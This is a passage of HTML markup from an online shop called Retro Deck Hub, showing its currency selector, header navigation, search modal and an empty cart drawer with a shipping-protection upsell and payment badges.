                            alt="Luxembourg"
                            class="localization-form-v2__image"
                          >
                        
                        Luxembourg | EUR €
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="MT"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/mt.png"
                            width="20"
                            height="15"
                            alt="Malta"
                            class="localization-form-v2__image"
                          >
                        
                        Malta | EUR €
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="NL"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/nl.png"
                            width="20"
                            height="15"
                            alt="Netherlands"
                            class="localization-form-v2__image"
                          >
                        
                        Netherlands | EUR €
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="NZ"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/nz.png"
                            width="20"
                            height="15"
                            alt="New Zealand"
                            class="localization-form-v2__image"
                          >
                        
                        New Zealand | NZD $
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="NO"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/no.png"
                            width="20"
                            height="15"
                            alt="Norway"
                            class="localization-form-v2__image"
                          >
                        
                        Norway | USD $
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="PL"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/pl.png"
                            width="20"
                            height="15"
                            alt="Poland"
                            class="localization-form-v2__image"
                          >
                        
                        Poland | PLN zł
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="PT"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/pt.png"
                            width="20"
                            height="15"
                            alt="Portugal"
                            class="localization-form-v2__image"
                          >
                        
                        Portugal | EUR €
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="RO"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/ro.png"
                            width="20"
                            height="15"
                            alt="Romania"
                            class="localization-form-v2__image"
                          >
                        
                        Romania | RON Lei
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="KR"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/kr.png"
                            width="20"
                            height="15"
                            alt="South Korea"
                            class="localization-form-v2__image"
                          >
                        
                        South Korea | KRW ₩
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="ES"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/es.png"
                            width="20"
                            height="15"
                            alt="Spain"
                            class="localization-form-v2__image"
                          >
                        
                        Spain | EUR €
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="SE"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/se.png"
                            width="20"
                            height="15"
                            alt="Sweden"
                            class="localization-form-v2__image"
                          >
                        
                        Sweden | SEK kr
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="GB"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/gb.png"
                            width="20"
                            height="15"
                            alt="United Kingdom"
                            class="localization-form-v2__image"
                          >
                        
                        United Kingdom | GBP £
                      </a>
                    </li><li class="disclosure__item" tabindex="-1">
                      <a
                        class="disclosure__link caption-large"
                        href="#"
                        
                        data-value="US"
                      >
                        
                          <img
                            src="https://flagcdn.com/w80/us.png"
                            width="20"
                            height="15"
                            alt="United States"
                            class="localization-form-v2__image"
                          >
                        
                        United States | USD $
                      </a>
                    </li></ul>
              </div>
            </div>
            <input type="hidden" name="country_code" value="FR">
          </div></form></localization-form>
    

  </div>




  </div>




      </div>
    </div>
  </details>
</header-drawer>



<h1 class="header__heading">
    <a href="/"
        class="header__heading-link link link--text focus-inset media media--transparent ratio">
            
            <img src="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=500" alt="Retro Deck Hub" srcset="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=50 50w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=100 100w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=150 150w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=200 200w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=250 250w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=300 300w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=400 400w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=500 500w" width="100" height="18.941176470588236" class="header__heading-logo header__heading-logo--main header__heading-logo--main-desktop">
            
                <style style="display:none;">
                    @media screen and (max-width: 749px) {
                        .header__heading-logo--main-desktop {
                            display: none !important;
                        }
                        .header__heading-link {
                            --ratio-percent: 18.941176470588236% !important;
                        }
                    }
                </style>
                <img src="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=500" alt="Retro Deck Hub" srcset="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=50 50w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=100 100w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=150 150w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=200 200w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=250 250w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=300 300w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=400 400w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_COLOR.webp?v=1774145932&amp;width=500 500w" width="100" height="18.941176470588236" class="header__heading-logo header__heading-logo--main desktop-hidden">
            
<img src="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=500" alt="Retro Deck Hub" srcset="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=50 50w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=100 100w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=150 150w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=200 200w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=250 250w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=300 300w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=400 400w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=500 500w" width="100" height="18.80141010575793" id="HeaderSecondaryDesktopLogo" class="header__heading-logo header__heading-logo--secondary header__heading-logo--secondary-desktop">

                
                    <style style="display:none;">
                        @media screen and (max-width: 749px) {
                            #HeaderSecondaryDesktopLogo {
                                display: none !important;
                            }
                        }
                        @media screen and (min-width: 749px) {
                            #HeaderSecondaryMobileLogo {
                                display: none !important;
                            }
                        }
                    </style>
                    <img src="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=500" alt="Retro Deck Hub" srcset="//retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=50 50w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=100 100w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=150 150w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=200 200w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=250 250w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=300 300w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=400 400w, //retrodeckhub.com/cdn/shop/files/RDH_LOGO_WHITE.webp?v=1774145931&amp;width=500 500w" width="100" height="18.941176470588236" id="HeaderSecondaryMobileLogo" class="header__heading-logo header__heading-logo--secondary desktop-hidden">
                
</a></h1>

      
        <nav class="header__inline-menu">
          <ul class="list-menu list-menu--inline" role="list">
              <li><a href="/" class="header__menu-item header__menu-item--main list-menu__item link link--text focus-inset" aria-current="page">
                    <span class="header__active-menu-item-v2 color-accent-1">Home</span>
                  </a></li>
              <li><a href="/collections/retro-gunner" class="header__menu-item header__menu-item--main list-menu__item link link--text focus-inset">
                    <span>Retro Gunner</span>
                  </a></li>
              <li><a href="/pages/faq" class="header__menu-item header__menu-item--main list-menu__item link link--text focus-inset">
                    <span>FAQ</span>
                  </a></li>
              <li><a href="/pages/contact" class="header__menu-item header__menu-item--main list-menu__item link link--text focus-inset">
                    <span>Support</span>
                  </a></li>
              <li><a href="https://mni1ab-3w.myshopify.com/apps/Track-Order2" class="header__menu-item header__menu-item--main list-menu__item link link--text focus-inset">
                    <span>Track Your Order</span>
                  </a></li></ul>
        </nav>
      
<div class="header__icons">

      
      <details-modal class="header__search">
        <details>
          <summary class="header__icon header__icon--search header__icon--summary link focus-inset modal__toggle" aria-haspopup="dialog" aria-label="Search">
            <span>
              


    <svg
      class="modal__toggle-open icon icon-search"
      xmlns="http://www.w3.org/2000/svg"
      viewbox="0 0 500 500"
      aria-hidden="true"
      focusable="false"
      fill="none"
      stroke="currentColor"
      stroke-width="31.5"
      stroke-linecap="round"
      stroke-linejoin="round"
    >
      <circle cx="173.4" cy="189.6" r="157"/>
      <path d="M430,449.9c-49.2-49.1-98.3-98.2-147.5-147.3"/>
    </svg>

              <svg class="modal__toggle-close icon icon-close" aria-hidden="true" focusable="false">
                <use href="#icon-close">
              </svg>
            </span>
          </summary>
          <div class="search-modal modal__content gradient" role="dialog" aria-modal="true" aria-label="Search">
            <div class="modal-overlay"></div>
            <div class="search-modal__content search-modal__content--right search-modal__content-bottom" tabindex="-1"><predictive-search class="search-modal__form" data-main='false' data-loading-text="Loading..."><form action="/search" method="get" role="search" class="search search-modal__form search-modal__form--border-light search-modal__form--polyfill search-modal__form--predictive" data-modal="CH+FNsZf0pVcmWNpggNzCvXIzkYkkaj29ECOxT5JLJn+8GP0QE/w2ZZoc0l8y3sKvzzyhdOS7LZ2rK7MwQ/NtCOYYYJ7yXB5dQJJ3+SAAIrHBm3HF6rydAtjY3MP+AvhqpSW/IyKgUXZOsqHROldAKNd/0ss5+NNxjEtevuimwelIgBKdSFfPQHmM3iaAtVAC0JOCdFuyb0PgR1BneeheN/wa9QzUd9gJ1OZhnSBefIBvmVvslG6N3IvwYREP1PIS2e5+w9kkjA9y9ci+OFpm/WPgP+A99m6qO8CosxfL/dHhr/HtooBQqmRXtzWgq1BITTO34pEgrgduEh/CCAuFfA9yvgB6XhNHexSi+2nBvVrA06pDJNLs7o0eAJaLmBlkNDhyVaYhRW42pjbjgOgbSq4UfqYKBVbpFEifOUze4U=">
                    <div class="field">
                      <input class="search__input field__input"
                        id="Search-In-Modal"
                        type="search"
                        name="q"
                        value=""
                        placeholder="Search">
                      <label class="field__label" for="Search-In-Modal">Search</label>
                      <input type="hidden" name="options[prefix]" value="last">
                      <button type="reset" class="reset__button field__button hidden" aria-label="Clear search term">
                        <svg class="icon icon-close" aria-hidden="true" focusable="false">
                          <use xlink:href="#icon-reset">
                        </svg>
                      </button>
                      <button class="search__button field__button" aria-label="Search">
                        <svg class="icon icon-search" aria-hidden="true" focusable="false">
                          <use href="#icon-search">
                        </svg>
                      </button>
                    </div><div class="predictive-search predictive-search--header" tabindex="-1" data-predictive-search>
                        <div class="predictive-search__loading-state">
                          <svg aria-hidden="true" focusable="false" class="spinner" viewbox="0 0 66 66" xmlns="http://www.w3.org/2000/svg">
                            <circle class="path" fill="none" stroke-width="6" cx="33" cy="33" r="30"></circle>
                          </svg>
                        </div>
                      </div>

                      <span class="predictive-search-status visually-hidden" role="status" aria-hidden="true"></span></form></predictive-search><button type="button" class="search-modal__close-button modal__close-button link link--text focus-inset" aria-label="Close">
                <svg class="icon icon-close" aria-hidden="true" focusable="false">
                  <use href="#icon-close">
                </svg>
              </button>
            </div>
          </div>
        </details>
      </details-modal><a href="/cart" class="header__icon header__icon--cart link focus-inset">
        


    <svg
      class="icon icon-cart"
      aria-hidden="true"
      focusable="false"
      xmlns="http://www.w3.org/2000/svg"
      viewbox="0 0 396.275 500"
      style="transform: scale(0.9);"
      fill="none"
      stroke="currentColor"
      stroke-linecap="round"
      stroke-linejoin="round"
      stroke-width="31.5"
    >
      <path d="m35.69 118.336 327.683 -0.892q8.03 183.025 16.172 365.827H16.73Z"/><path d="M114.098 117.444V102.61a85.88 85.88 0 1 1 171.649 0v14.834"/><path d="M111.086 168.86a85.88 85.88 0 0 0 168.191 0"/>
    </svg>


        <div id="cart-icon-bubble"><span class="visually-hidden">Cart</span></div>
      </a>
    </div>
  </header>
</sticky-header>

<script type="application/ld+json">
  {
    "@context": "http://schema.org",
    "@type": "Organization",
    "name": "Retro Deck Hub",
    
      "logo": "https:\/\/retrodeckhub.com\/cdn\/shop\/files\/RDH_LOGO_COLOR.webp?v=1774145932\u0026width=500",
    
    "sameAs": [
      "",
      "",
      "",
      "",
      "",
      "",
      "",
      "",
      ""
    ],
    "url": "https:\/\/retrodeckhub.com"
  }
</script>
  <script type="application/ld+json">
    {
      "@context": "http://schema.org",
      "@type": "WebSite",
      "name": "Retro Deck Hub",
      "potentialAction": {
        "@type": "SearchAction",
        "target": "https:\/\/retrodeckhub.com\/search?q={search_term_string}",
        "query-input": "required name=search_term_string"
      },
      "url": "https:\/\/retrodeckhub.com"
    }
  </script>
</div>
<!-- END sections: header-group -->
<div id="shopify-section-cart-drawer" class="shopify-section"><style>
  .drawer {
    visibility: hidden;
  }
  
  
  
</style>

<cart-drawer class="drawer is-empty cart-drawer--desktop-width-normal cart-drawer--mobile-width-full" data-type='modal'>
  <div id="CartDrawer" class="cart-drawer">
    <div id="CartDrawer-Overlay" class="cart-drawer__overlay"></div>
    <div
      class="drawer__inner"
      role="dialog"
      aria-modal="true"
      aria-label="Your cart"
      tabindex="-1"
    ><div class="drawer__inner-empty">
          <div class="cart-drawer__warnings center">
            <div class="cart-drawer__empty-content">
              <h2 class="cart__empty-text">Your cart is empty</h2>
              <button
                class="drawer__close"
                type="button"
                onclick="this.closest('cart-drawer').close()"
                aria-label="Close"
              >
                <svg
  xmlns="http://www.w3.org/2000/svg"
  aria-hidden="true"
  focusable="false"
  class="icon icon-close"
  fill="none"
  viewbox="0 0 18 17"
>
  <path d="M.865 15.978a.5.5 0 00.707.707l7.433-7.431 7.579 7.282a.501.501 0 00.846-.37.5.5 0 00-.153-.351L9.712 8.546l7.417-7.416a.5.5 0 10-.707-.708L8.991 7.853 1.413.573a.5.5 0 10-.693.72l7.563 7.268-7.418 7.417z" fill="currentColor">
</svg>

              </button>
              
                <a href="https://retrodeckhub.com/" class="button">
                  Continue shopping
                </a>
              
</div>
          </div></div><div class="drawer__header" style='--alignment:flex-start'>
        <h2 class="drawer__heading">
          
          Cart • 0 items
        </h2>
        <button
          class="drawer__close"
          type="button"
          onclick="this.closest('cart-drawer').close()"
          aria-label="Close"
        >
          <svg
  xmlns="http://www.w3.org/2000/svg"
  aria-hidden="true"
  focusable="false"
  class="icon icon-close"
  fill="none"
  viewbox="0 0 18 17"
>
  <path d="M.865 15.978a.5.5 0 00.707.707l7.433-7.431 7.579 7.282a.501.501 0 00.846-.37.5.5 0 00-.153-.351L9.712 8.546l7.417-7.416a.5.5 0 10-.707-.708L8.991 7.853 1.413.573a.5.5 0 10-.693.72l7.563 7.268-7.418 7.417z" fill="currentColor">
</svg>

        </button>
      </div>
      <div class="cart-drawer__body">
        
        
        
        
          
              <cart-drawer-items
                
                  class="is-empty"
                
                data-gifts-storage="true"
                data-subtotal="0"
                style="--image-size: 20%;--title-size:1.5rem;--margin-top: 2.1rem;--margin-bottom: 2.1rem;" 
                
              >
                <form
                  action="/cart"
                  id="CartDrawer-Form"
                  class="cart__contents cart-drawer__form"
                  method="post"
                >
                  <div id="CartDrawer-CartItems" class="drawer__contents js-contents"><p id="CartDrawer-LiveRegionText" class="visually-hidden" role="status"></p>
                    <p id="CartDrawer-LineItemStatus" class="visually-hidden" aria-hidden="true" role="status">
                      Loading...
                    </p>
                  </div>
                  <div id="CartDrawer-CartErrors" role="alert"></div>
                </form>
              </cart-drawer-items>
            
        
          
              
            
        
          
        
          
        
          
        
      </div>
      <div class="drawer__footer">
        
          
        
          
              
                
                
                  

<div
  class='cart-drawer-upsells-container upsells-container'
  style="    --item-count: 1;    --image-size: 5rem;    --image-size-number: 5;    --image-border-radius: 0.2rem;    --title-font-size: 1.4rem;    --desc-font-size: 1.2rem;    --price-font-size: 1.4rem;    --border-radius: 1.0rem;    --regular-border-color: #e6e6e6;    --selected-border-color: #dd1d1d;    --border-width: 0.2rem;    --regular-bg-color: #f2f2f2;    --selected-bg-color: #f2f2f2;    margin-top: 1.5rem;    margin-bottom: 1.5rem;  "
  id='UpsellsBlock--product_upsells_6iN3XU'
  data-count="1"
  
  
>
  
  
    
    
      
        
          
          
            <style>
              .cart-drawer .cart-item--product-shippro {
                display: none;
              }
            </style>
          
          <cart-drawer-upsell
            class='upsell upsell--toggle_switch cart-drawer-upsell-cart-drawer upsell--btn-right color-background-1 accent-color-accent-1'
            data-style="toggle_switch" 
            data-selected="true"
            data-handle="shippro"
            data-toggle="true"
            data-id="51920996434203"
            data-product-id="10177645084955"
            data-skip-non-existent='true'
            data-skip-unavailable="false"
            
          >
            
            <div class='upsell__container'>
              
                
                
                  <div class='upsell__image'>
                    <img
                      src="//retrodeckhub.com/cdn/shop/files/Shipping_Protection_2.png?v=1774145919&width=500"
                      alt="Shipping Protection"
                      class="upsell__image__img"
                      loading="lazy"
                      width="auto"
                      height="auto"
                    >
                  </div>
                
              
              <div class='upsell__content'>
                <div class='upsell__title'>
                  <h3>
                    
                      Shipping Protection
                    
                  </h3>
                  
                    <div class='upsell__price'>
                      <span class='regular-price'>€7,95</span>
                      <span class='compare-price hidden'>€7,95</span>
                    </div>
                  
                </div><p class="upsell__desc">
                    Add protection layer to your orders against damage during transit.
                  </p>
                
              </div>
              
                <button class='upsell__toggle-switch toggle-switch upsell-toggle-btn'>
                  <span class='toggle-switch__slider'>&nbsp</span>
                </button>
              
              <product-form data-is-cart-upsell='true' data-section="cart-drawer-product_upsells_6iN3XU-0"><form method="post" action="/cart/add" id="cart-drawerupsellproduct_upsells_6iN3XU1" accept-charset="UTF-8" class="form" enctype="multipart/form-data" novalidate="novalidate" data-type="add-to-cart-form"><input type="hidden" name="form_type" value="product" /><input type="hidden" name="utf8" value="✓" /><input type="hidden" name="id" value="51920996434203">
                  <button type='submit' class='hidden'>+</button><input type="hidden" name="product-id" value="10177645084955" /><input type="hidden" name="section-id" value="cart-drawer" /></form></product-form>
            </div>
          </cart-drawer-upsell>
        
      
    
    
</div>


                
              
            
        
          
              <div class="cart-drawer__footer" style="--margin-top: 1.5rem;--margin-bottom: 1.5rem;" >
                <div class="cart-drawer__totals" role="status" style='--spacing:1.0rem;'>
                  
                    
                    
                  
                  
                    
                    <p class='cart-drawer__totals__row cart-drawer__totals__row--spaced text-color-text' style='--text-size:2.0rem;'>
                      <span><strong>Subtotal</strong></span><span><strong><span class='cart-drawer__totals__row__money'>€0,00</span></strong></span>
                    </p>
                  
                </div>
                  
                  
                  <p class='cart-drawer__total-savings spaced text-color-accent-1'>
                    
                  </p>
                
              </div>
            
        
          
              <style>
                
                #CartDrawer-Checkout {
                  --icon-scale: 1.2em;
                  --icon-spacing: 10px;
                }
                
                
              </style>
              <div class="cart__ctas" style="--margin-top: 1.5rem;--margin-bottom: 1.5rem;" >
                <noscript>
                  <button type="submit" class="cart__update-button button button--secondary" form="CartDrawer-Form">
                    Update
                  </button>
                </noscript>
                <div class='tnc-checkbox-warning tnc-checkbox-warning-cart-drawer tnc-checkbox-warning--above-button-cart-drawer hidden' style='margin-bottom: 0.6em;'></div>
                
                <button
                  type="submit"
                  id="CartDrawer-Checkout"
                  class="cart__checkout-button button"
                  name="checkout"
                  form="CartDrawer-Form"
                  
                    disabled
 onclick="checkoutLoad(event)"
                >
                  <span class='button__label'>
                    Check out
                    
                  </span>
                  <div class="loading-overlay__spinner hidden">
                    <svg
                      aria-hidden="true"
                      focusable="false"
                      class="spinner"
                      viewbox="0 0 66 66"
                      xmlns="http://www.w3.org/2000/svg"
                    >
                      <circle class="path" fill="none" stroke-width="6" cx="33" cy="33" r="30"></circle>
                    </svg>
                  </div>
                </button><div class='tnc-checkbox-warning tnc-checkbox-warning-cart-drawer tnc-checkbox-warning--under-button-cart-drawer hidden' style='margin-top: 0.6em;'></div>
              </div>
        
          <div class='payment-badges-block' style="--margin-top: 1.2rem;--margin-bottom: 1.2rem;" >
                <ul class="payment-badges" role="list">
                  
                  

                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" x="0" y="0" width="38" height="24" viewbox="0 0 165.521 105.965" xml:space="preserve" aria-labelledby="pi-apple_pay"><title id="pi-apple_pay">Apple Pay</title><path fill="#000" d="M150.698 0H14.823c-.566 0-1.133 0-1.698.003-.477.004-.953.009-1.43.022-1.039.028-2.087.09-3.113.274a10.51 10.51 0 0 0-2.958.975 9.932 9.932 0 0 0-4.35 4.35 10.463 10.463 0 0 0-.975 2.96C.113 9.611.052 10.658.024 11.696a70.22 70.22 0 0 0-.022 1.43C0 13.69 0 14.256 0 14.823v76.318c0 .567 0 1.132.002 1.699.003.476.009.953.022 1.43.028 1.036.09 2.084.275 3.11a10.46 10.46 0 0 0 .974 2.96 9.897 9.897 0 0 0 1.83 2.52 9.874 9.874 0 0 0 2.52 1.83c.947.483 1.917.79 2.96.977 1.025.183 2.073.245 3.112.273.477.011.953.017 1.43.02.565.004 1.132.004 1.698.004h135.875c.565 0 1.132 0 1.697-.004.476-.002.952-.009 1.431-.02 1.037-.028 2.085-.09 3.113-.273a10.478 10.478 0 0 0 2.958-.977 9.955 9.955 0 0 0 4.35-4.35c.483-.947.789-1.917.974-2.96.186-1.026.246-2.074.274-3.11.013-.477.02-.954.022-1.43.004-.567.004-1.132.004-1.699V14.824c0-.567 0-1.133-.004-1.699a63.067 63.067 0 0 0-.022-1.429c-.028-1.038-.088-2.085-.274-3.112a10.4 10.4 0 0 0-.974-2.96 9.94 9.94 0 0 0-4.35-4.35A10.52 10.52 0 0 0 156.939.3c-1.028-.185-2.076-.246-3.113-.274a71.417 71.417 0 0 0-1.431-.022C151.83 0 151.263 0 150.698 0z" /><path fill="#FFF" d="M150.698 3.532l1.672.003c.452.003.905.008 1.36.02.793.022 1.719.065 2.583.22.75.135 1.38.34 1.984.648a6.392 6.392 0 0 1 2.804 2.807c.306.6.51 1.226.645 1.983.154.854.197 1.783.218 2.58.013.45.019.9.02 1.36.005.557.005 1.113.005 1.671v76.318c0 .558 0 1.114-.004 1.682-.002.45-.008.9-.02 1.35-.022.796-.065 1.725-.221 2.589a6.855 6.855 0 0 1-.645 1.975 6.397 6.397 0 0 1-2.808 2.807c-.6.306-1.228.511-1.971.645-.881.157-1.847.2-2.574.22-.457.01-.912.017-1.379.019-.555.004-1.113.004-1.669.004H14.801c-.55 0-1.1 0-1.66-.004a74.993 74.993 0 0 1-1.35-.018c-.744-.02-1.71-.064-2.584-.22a6.938 6.938 0 0 1-1.986-.65 6.337 6.337 0 0 1-1.622-1.18 6.355 6.355 0 0 1-1.178-1.623 6.935 6.935 0 0 1-.646-1.985c-.156-.863-.2-1.788-.22-2.578a66.088 66.088 0 0 1-.02-1.355l-.003-1.327V14.474l.002-1.325a66.7 66.7 0 0 1 .02-1.357c.022-.792.065-1.717.222-2.587a6.924 6.924 0 0 1 .646-1.981c.304-.598.7-1.144 1.18-1.623a6.386 6.386 0 0 1 1.624-1.18 6.96 6.96 0 0 1 1.98-.646c.865-.155 1.792-.198 2.586-.22.452-.012.905-.017 1.354-.02l1.677-.003h135.875" /><g><g><path fill="#000" d="M43.508 35.77c1.404-1.755 2.356-4.112 2.105-6.52-2.054.102-4.56 1.355-6.012 3.112-1.303 1.504-2.456 3.959-2.156 6.266 2.306.2 4.61-1.152 6.063-2.858" /><path fill="#000" d="M45.587 39.079c-3.35-.2-6.196 1.9-7.795 1.9-1.6 0-4.049-1.8-6.698-1.751-3.447.05-6.645 2-8.395 5.1-3.598 6.2-.95 15.4 2.55 20.45 1.699 2.5 3.747 5.25 6.445 5.151 2.55-.1 3.549-1.65 6.647-1.65 3.097 0 3.997 1.65 6.696 1.6 2.798-.05 4.548-2.5 6.247-5 1.95-2.85 2.747-5.6 2.797-5.75-.05-.05-5.396-2.101-5.446-8.251-.05-5.15 4.198-7.6 4.398-7.751-2.399-3.548-6.147-3.948-7.447-4.048" /></g><g><path fill="#000" d="M78.973 32.11c7.278 0 12.347 5.017 12.347 12.321 0 7.33-5.173 12.373-12.529 12.373h-8.058V69.62h-5.822V32.11h14.062zm-8.24 19.807h6.68c5.07 0 7.954-2.729 7.954-7.46 0-4.73-2.885-7.434-7.928-7.434h-6.706v14.894z" /><path fill="#000" d="M92.764 61.847c0-4.809 3.665-7.564 10.423-7.98l7.252-.442v-2.08c0-3.04-2.001-4.704-5.562-4.704-2.938 0-5.07 1.507-5.51 3.82h-5.252c.157-4.86 4.731-8.395 10.918-8.395 6.654 0 10.995 3.483 10.995 8.89v18.663h-5.38v-4.497h-.13c-1.534 2.937-4.914 4.782-8.579 4.782-5.406 0-9.175-3.222-9.175-8.057zm17.675-2.417v-2.106l-6.472.416c-3.64.234-5.536 1.585-5.536 3.95 0 2.288 1.975 3.77 5.068 3.77 3.95 0 6.94-2.522 6.94-6.03z" /><path fill="#000" d="M120.975 79.652v-4.496c.364.051 1.247.103 1.715.103 2.573 0 4.029-1.09 4.913-3.899l.52-1.663-9.852-27.293h6.082l6.863 22.146h.13l6.862-22.146h5.927l-10.216 28.67c-2.34 6.577-5.017 8.735-10.683 8.735-.442 0-1.872-.052-2.261-.157z" /></g></g></svg>

                    </li>
                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-google_pay"><title id="pi-google_pay">Google Pay</title><path d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000" opacity=".07"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32" fill="#FFF"/><path d="M18.093 11.976v3.2h-1.018v-7.9h2.691a2.447 2.447 0 0 1 1.747.692 2.28 2.28 0 0 1 .11 3.224l-.11.116c-.47.447-1.098.69-1.747.674l-1.673-.006zm0-3.732v2.788h1.698c.377.012.741-.135 1.005-.404a1.391 1.391 0 0 0-1.005-2.354l-1.698-.03zm6.484 1.348c.65-.03 1.286.188 1.778.613.445.43.682 1.03.65 1.649v3.334h-.969v-.766h-.049a1.93 1.93 0 0 1-1.673.931 2.17 2.17 0 0 1-1.496-.533 1.667 1.667 0 0 1-.613-1.324 1.606 1.606 0 0 1 .613-1.336 2.746 2.746 0 0 1 1.698-.515c.517-.02 1.03.093 1.49.331v-.208a1.134 1.134 0 0 0-.417-.901 1.416 1.416 0 0 0-.98-.368 1.545 1.545 0 0 0-1.319.717l-.895-.564a2.488 2.488 0 0 1 2.182-1.06zM23.29 13.52a.79.79 0 0 0 .337.662c.223.176.5.269.785.263.429-.001.84-.17 1.146-.472.305-.286.478-.685.478-1.103a2.047 2.047 0 0 0-1.324-.374 1.716 1.716 0 0 0-1.03.294.883.883 0 0 0-.392.73zm9.286-3.75l-3.39 7.79h-1.048l1.281-2.728-2.224-5.062h1.103l1.612 3.885 1.569-3.885h1.097z" fill="#5F6368"/><path d="M13.986 11.284c0-.308-.024-.616-.073-.92h-4.29v1.747h2.451a2.096 2.096 0 0 1-.9 1.373v1.134h1.464a4.433 4.433 0 0 0 1.348-3.334z" fill="#4285F4"/><path d="M9.629 15.721a4.352 4.352 0 0 0 3.01-1.097l-1.466-1.14a2.752 2.752 0 0 1-4.094-1.44H5.577v1.17a4.53 4.53 0 0 0 4.052 2.507z" fill="#34A853"/><path d="M7.079 12.05a2.709 2.709 0 0 1 0-1.735v-1.17H5.577a4.505 4.505 0 0 0 0 4.075l1.502-1.17z" fill="#FBBC04"/><path d="M9.629 8.44a2.452 2.452 0 0 1 1.74.68l1.3-1.293a4.37 4.37 0 